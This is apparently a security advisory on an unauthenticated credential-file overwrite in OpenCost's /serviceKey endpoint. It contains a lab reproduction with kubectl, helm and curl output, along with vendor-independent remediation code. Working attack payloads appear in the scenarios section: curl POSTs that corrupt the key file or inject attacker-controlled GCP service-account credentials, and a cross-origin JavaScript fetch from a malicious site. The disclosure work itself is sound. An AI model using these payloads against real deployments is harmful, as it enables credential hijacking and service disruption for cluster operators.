OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection
OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.
pkg/costmodel/router.go (lines 365-379)POST /serviceKeyThe AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
w.Header().Set("Content-Type", "application/json")
w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS
r.ParseForm()
key := r.PostForm.Get("key") // User-controlled input, no validation
k := []byte(key)
err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write
if err != nil {
fmt.Fprintf(w, "Error writing service key: %s", err)
}
w.WriteHeader(http.StatusOK)
}
File Path Determination (core/pkg/env/core.go):
func GetGCPAuthSecretFilePath() string {
return GetPathFromConfig("key.json")
}
func GetPathFromConfig(fileName string) string {
return filepath.Join(GetConfigPath(), fileName)
}
func GetConfigPath() string {
return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs
}
Access-Control-Allow-Origin: * allows cross-origin attacksCONFIG_PATH environment variablekubectl create namespace opencost
Output:
namespace/opencost created
helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update
Output:
"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!
helm install opencost opencost/opencost --namespace opencost \
--set opencost.exporter.defaultClusterId=test-cluster \
--set opencost.prometheus.internal.enabled=true \
--set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
--set opencost.prometheus.internal.namespaceName=monitoring \
--set opencost.prometheus.internal.port=9090 \
--set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'
Key Configuration:
CONFIG_PATH=/tmp: Sets writable directory for file operationsOutput:
NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1
kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost
Output:
NAME READY STATUS RESTARTS AGE
opencost-db97bbcc-5q8cb 2/2 Running 0 44s
kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
curl -v http://opencost.opencost.svc.cluster.local:9003/healthz
Output:
< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json
Output:
cat: can't open '/tmp/key.json': No such file or directory
Note: File does not exist initially
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH
Output:
CONFIG_PATH=/tmp
Note: CONFIG_PATH correctly set to /tmp
MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'
kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "key=${MALICIOUS_CONTENT}" \
-v
Request Details:
> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244
Response Details:
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0
Result: HTTP 200 OK - Request successful without authentication
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json
Output:
{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}
Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file
| Impact Type | Severity | Description |
|---|---|---|
| Unauthorized Credential Overwrite | High | Attacker can overwrite GCP service account key file content |
| No Authentication Required | High | Vulnerability can be exploited without any credentials |
| CORS Misconfiguration | Medium | Allows cross-origin attacks via malicious websites |
| Fixed File Path | Low | Attacker cannot control write location, only content |
Attack Steps:
/serviceKey endpoint accepts request and overwrites existing key.json fileTechnical Details:
# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
-d 'key={"invalid":"json","corrupted":"credentials"}'
Impact:
CVSS Impact Score: Availability impact is Low (A:L)
Attack Steps:
Technical Details:
# Inject attacker credentials
ATTACKER_KEY='{
"type": "service_account",
"project_id": "attacker-billing-project",
"private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
"client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
}'
curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"
Impact:
Data Leakage Examples:
CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High
Attack Steps:
http://localhost:9003/serviceKey*, browser allows cross-origin requestPrerequisites:
kubectl port-forward or other meansTechnical Details:
// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'key={"type":"malicious"}'
});
Impact:
What Attacker Cannot Control:
CONFIG_PATH environment variable, attacker cannot modifykey.json, cannot write to other files0644, attacker cannot escalateActual Attack Capabilities:
key.json content| Deployment Scenario | Risk Level | Description |
|---|---|---|
| Cluster-Internal Only | Medium | Requires attacker to have cluster network access |
| Exposed via Ingress | High | Any internet user can exploit |
| Exposed via NodePort | High | Attackers with node network access can exploit |
| Via port-forward | Medium-High | Local dev environments vulnerable to CORS attacks |
Recommended Risk Rating:
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
// Add authentication check
if !a.isAuthorized(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// ... existing logic
}
func validateServiceKey(key string) error {
var keyData map[string]interface{}
if err := json.Unmarshal([]byte(key), &keyData); err != nil {
return fmt.Errorf("invalid JSON format")
}
requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
for _, field := range requiredFields {
if _, ok := keyData[field]; !ok {
return fmt.Errorf("missing required field: %s", field)
}
}
if keyData["type"] != "service_account" {
return fmt.Errorf("invalid key type")
}
return nil
}
w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))
Until a patch is available, implement these mitigations:
/serviceKey endpoint if not requiredkey.json filepkg/costmodel/router.go:365-379core/pkg/env/core.go왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(심각도 등급 추정치) | 80.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 80.00 |
VPI 공식 vpi-v1 기준